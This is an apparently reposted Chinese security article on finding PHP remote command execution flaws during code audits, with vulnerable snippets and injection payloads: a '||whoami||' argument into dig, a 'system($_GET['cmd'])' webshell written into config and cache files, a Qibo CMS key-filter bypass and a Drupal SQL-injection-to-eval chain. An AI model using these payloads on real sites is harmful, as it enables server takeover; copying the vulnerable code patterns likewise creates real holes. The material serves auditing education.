說說RCE那些事兒

小飛 · 2014/11/07 13:45php

0x01 引言


若是OWASP給PHP漏洞弄個排行榜,那RCE(遠程命令執行)絕對是最臭名昭著漏洞的前十名,其攻擊方式靈活,且攻擊成功後通常返回繼承了web組件(如apache)權限的shell,危害自沒必要再多描述。那麼,今天就來看看代碼審計中到底該在哪裏尋找命令執行?或者說,哪些功能會致使代碼執行?html

0x02漏洞尋蹤


這是一個最簡單的命令執行漏洞linux

#!php
//index.php
<?php 
$cmd=$_GET['cmd'];
 system($cmd); ?> 
複製代碼

咱們能夠執行程序員

index.php?cmd=whoami 
複製代碼

特別注意若是咱們使用了web

#!php
<?php 
$cmd=$_GET['cmd']; 
echo exec($cmd); 
?>
複製代碼

因爲exec() 默認沒有回顯,因此執行命令以後 咱們是看不到結果的, 固然咱們可以經過重定向,把他們導入文件中,再來查詢sql

固然這些代碼通常狀況下是不可能出如今程序中的,咱們僅做了解。 那麼…… 到底哪裏會出現命令執行呢?shell

Demo #1 實現查詢dns的RCEapache

這是一個實現查詢dns命令的php程序片斷,因爲要和系統產生信息通道,使用了system()函數,過濾不嚴也致使了RCE。數組

#!php
<?php

    include("common.php");
    showMenu();
    echo '<br>';
    $status = $_GET['status'];
    $ns  = $_GET['ns'];
    $host   = $_GET['host'];
    $query_type   = $_GET['query_type']; // ANY, MX, A , etc.
    $ip     = $_SERVER['REMOTE_ADDR'];
    $self   = $_SERVER['PHP_SELF'];
        $host = trim($host);
          $host = strtolower($host);
          echo("<span class=\"plainBlue\"><b>Executing : <u>dig @$ns $host $query_type</u></b><br>");
          echo '<pre>';
          //start digging in the namserver
          system ("dig @$ns $host $query_type");
          echo '</pre>';
    } else {
?>
複製代碼

若是咱們請求緩存

dig.php?ns=whoam&host=sirgod.net&query_type=NS&status=digging
複製代碼

明顯system ("dig whoami sirgod.com NS"); 是不能執行的

因此咱們用「||」分別執行linux命令

dig.php?ns=||whoami||&host=sirgod.net&query_type=NS&status=digging

system ("dig ||whoami|| sirgod.net NS");
複製代碼

那麼咱們就分離了dig命令和whoami 成功執行

Demo #2 配置信息保存不當的RCE

不少時候php的配置信息是直接保存在.php後綴的文件裏面的 好比discuz 若是沒有認真過濾…

#!php
  if(isset($action) && $action == "setconfig") {
    $config_file = "config.php";
    $handle = fopen($config_file, 'w');
    $StringData = "<?php\r
    $"."news_width = '".clean($_POST[news_width])."';\r
    $"."bgcolor = '".clean($_POST[bgcolor])."';\r
    $"."fgcolor = '".clean($_POST[fgcolor])."';\r
    $"."padding = '".clean($_POST[padding])."';\r
    $"."subject_margin = '".clean($_POST[subject_margin])."';\r
    $"."fontname = '".clean($_POST[fontname])."';\r
    $"."fontsize = '".clean($_POST[fontsize])."';\r\n?>";
    fwrite($handle, $StringData);
  }
複製代碼

那麼若是正常提交 就是

#!php
<?php 
$news_width = '600px'; 
$bgcolor = '#000000';
$fgcolor = '#ffffff'; 
$padding = '5px'; 
$subject_margin = '0px'; 
$fontname = 'verdana'; 
$fontsize = '13px'; 
?>
複製代碼

咱們要是提交';system($_GET['cmd']);'

配置文件就會變成

#!php
<?php 
$news_width = '';
system($_GET['cmd']);
'';
 $bgcolor = '#000000';
 $fgcolor = '#ffffff'; 
$padding = '5px'; 
$subject_margin = '0px'; 
$fontname = 'verdana';
 $fontsize = '13px'; 
?> 
複製代碼

很明顯這就是個合法的php文件了,也成爲了一個webshell。

Demo #2 緩存寫入不當的RCE

#!php
$newsfile = "news.txt"; 
$file = fopen($newsfile, "r"); 
..........................................................................
 elseif ((isset($_REQUEST["title"])) && (isset($_REQUEST["date"])) &&
(isset($_REQUEST["post"])) && ($_REQUEST["title"]!="") &&
($_REQUEST["date"]!="") && ($_REQUEST["post"]!="")) {
$current_data = @fread($file, filesize($newsfile));
fclose($file);
$file = fopen($newsfile, "w");
$_REQUEST["post"] = stripslashes(($_REQUEST["post"]));
$_REQUEST["date"] = stripslashes(($_REQUEST["date"]));
$_REQUEST["title"] = stripslashes(($_REQUEST["title"]));
if(fwrite($file,$btable . " " . $btitle . " " . $_REQUEST["title"] . " " .  $etitle . " " . $bdate . " " . $_REQUEST["date"] . " " . $edate . " " . $bpost . " " . $_REQUEST["post"] . " " . $epost . " " . $etable . "\n " . $current_data))
include 'inc/posted.html';
else 
include 'inc/error1.html'; 
fclose($file);
複製代碼

這個代碼的業務功能就是寫入緩存,是下次使用以前直接調用靜態文件 如何顯示給訪客呢

#!php
<? include("news.txt"); ?>
複製代碼

那麼咱們試試注入shell

#!php
<table class='sn'> <tbody> 
<tr><td class='sn-title'> 
<?php system($_GET['cmd']); ?> 
</td></tr> <tr><td class='sn-date'> 
Posted on: 08/06/2009 </td></tr> <tr><td class='sn-post'> test2 </td></tr> </tbody></table><div><br /></div> <table class='sn'> <tbody> <tr><td class='sn-title'> test </td></tr> <tr><td class='sn-date'> Posted on: 08/06/2009 </td></tr> <tr><td class='sn-post'> test </td></tr> </tbody></table><div><br /></div>
複製代碼

訪問display.php?cmd=whoami 成功執行

0x03 實例剖析


有人就說了,上面代碼是簡單的phpdemo而已,實際環境中的審計確定沒有那麼簡單,那麼,當咱們面對完整的php程序,他們面對對象,基於各類框架,還怎麼去尋找RCE的蹤影呢?

咱們來看幾個實例

齊博cms緩存寫入致使遠程代碼執行 漏洞文件

#!php
foreach($label AS $key=>$value){
var_dump ($value);exit;//若是是新標籤時,即爲數組array(),要清空
if(is_array($value))
{
$label[$key]='';
}
}
//寫緩存
if( (time()-filemtime($FileName))>($webdb[label_cache_time]*60) ){
$_shows="<?php\r\n\$haveCache=1;\r\n";

foreach($label AS $key=>$value){
$value=addslashes($value);
$_shows.="\$label['$key']=stripslashes('$value');\r\n";
}
write_file($FileName,$_shows.'?>');
} 
}
複製代碼

這段代碼功能很好分析 遍歷標籤($label)變量,而且寫入緩存,

咱們看看過濾函數

#!php
function Add_S($array){
 foreach($array as $key=>$value){
if(!is_array($value)){
@eregi("['\\\"&]+",$key) && die('ERROR KEY!');
$value=str_replace("&#x","& # x",$value); //過濾一些不安全字符
$value=preg_replace("/eval/i","eva l",$value); //過濾不安全函數
!get_magic_quotes_gpc() && $value=addslashes($value);
$array[$key]=$value;
}else{
$array[$key]=Add_S($array[$key]); 
}
}
return $array;
}
複製代碼

這裏檢測key的機制就出問題,,我畫了個圖

enter image description here

簡而言之,他只檢測最底層的key 因此咱們提交label[evilcode][asd]=xx 匹配的key是asd 那麼就不會被匹配出 evilcode就不會被檢測。

因爲qibo是 僞全局

#!php
foreach($_POST AS $_key=>$_value){
!ereg("^\_[A-Z]+",$_key) && $$_key=$_POST[$_key];
}
foreach($_GET AS $_key=>$_value){
!ereg("^\_[A-Z]+",$_key) && $$_key=$_GET[$_key];
}
複製代碼

會幫咱們註冊好提交的變量 因此$label是可以直接控制的

那麼也就是當咱們提交

#!php
label['.phpinfo().'][asd]=sb
複製代碼

提交的key爲''.phpinfo().'' 那麼寫入的本地文件就是

#!php
\$label[''.phpinfo().'']=stripslashes();\r\n"; 
複製代碼

enter image description here

這時全部引號全都閉合

緩存文件夾中也就寫入了咱們的shell

Drupal函數回調致使的RCE

Drupal做爲世界上公認最強大的phpweb框架,一直在追求更安全的開發方法 好比,它採用預編譯的方法進行SQL交互,使得SQL注入漏洞幾乎難以挖掘。然而在近期,因爲一個功能中將SQL預編譯權利交給了用戶。

#!php
$query = preg_replace('#' . $key . '\b#', implode(', ', array_keys($new_keys)), $query);
複製代碼

插入用戶輸入數據致使sql注入

又因爲drupal採用的PDO是支持多行的,因此能執行任意語句,固然這不是今天的重點。 今天咱們看看如何漏洞擴大,把SQLI變成RCE 首先講下call_user_func_array

(PHP 4 >= 4.0.4, PHP 5)

調用回調函數,並把一個數組參數做爲回調函數的參數 說明

#!php
mixed call_user_func_array ( callable $callback , array $param_arr )


$preferred_links = &drupal_static(__FUNCTION__); 
 If (!isset($path)) {    $path = $_GET['q'];  }
複製代碼

首先$path做爲變量是可控的

#!php
function menu_execute_active_handler($path = NULL, $deliver = TRUE) {
 $page_callback_result = _menu_site_is_offline() ? MENU_SITE_OFFLINE : MENU_SITE_ONLINE; 
$read_only_path = !empty($path) ? $path : $_GET['q']; drupal_alter('menu_site_status', $page_callback_result, $read_only_path); 
if ($page_callback_result == MENU_SITE_ONLINE) { 
         if ($router_item = menu_get_item($path)) {
              if ($router_item['access']) { 
                   if ($router_item['include_file']) { 
require_once DRUPAL_ROOT . '/' . $router_item['include_file']; } $page_callback_result = call_user_func_array($router_item['page_callback'], $router_item['page_arguments']);
 } else { $page_callback_result = MENU_ACCESS_DENIED; 
} } else { $page_callback_result = MENU_NOT_FOUND; } } }

if ($router_item['include_file']) { require_once DRUPAL_ROOT . '/' . $router_item['include_file']; }
複製代碼

包含了文件

經過預編譯註入向表中插入一個語句

#!php
insert into menu_router (path, page_callback, access_callback, include_file) values ('<?php phpinfo();?>','eval', '1', 'modules/php/php.module');
複製代碼

path 爲要執行的代碼; include_file 爲 PHP filter Module 的路徑; page_callback 爲 eval; access_callback 爲 1(可讓任意用戶訪問)。 訪問地址便可形成 RCE。

enter image description here

0x04 寫在最後


通常來說,漏洞造成的緣由基本都是「數據與代碼未有效分離」,然而RCE是個例外,每每出現rce的地方原本就是供程序執行代碼的地方,加上現在php程序功能愈來愈強大,各類地方相互調用,致使組合利用漏洞。因此程序員寫起代碼來每每都不知道改怎麼去防護,或者說防不勝防。 因爲其漏洞實現的靈活性,尋找RCE,仍是應該從功能入手,去研究代碼實現了什麼功能,最後變量進入什麼函數,被如何調用,而不是簡簡單單的去進行關鍵字搜索,畢竟,現在代碼審計已經從「哪裏有洞」過渡到「如何繞過」的時代了。

相關文章
相關標籤/搜索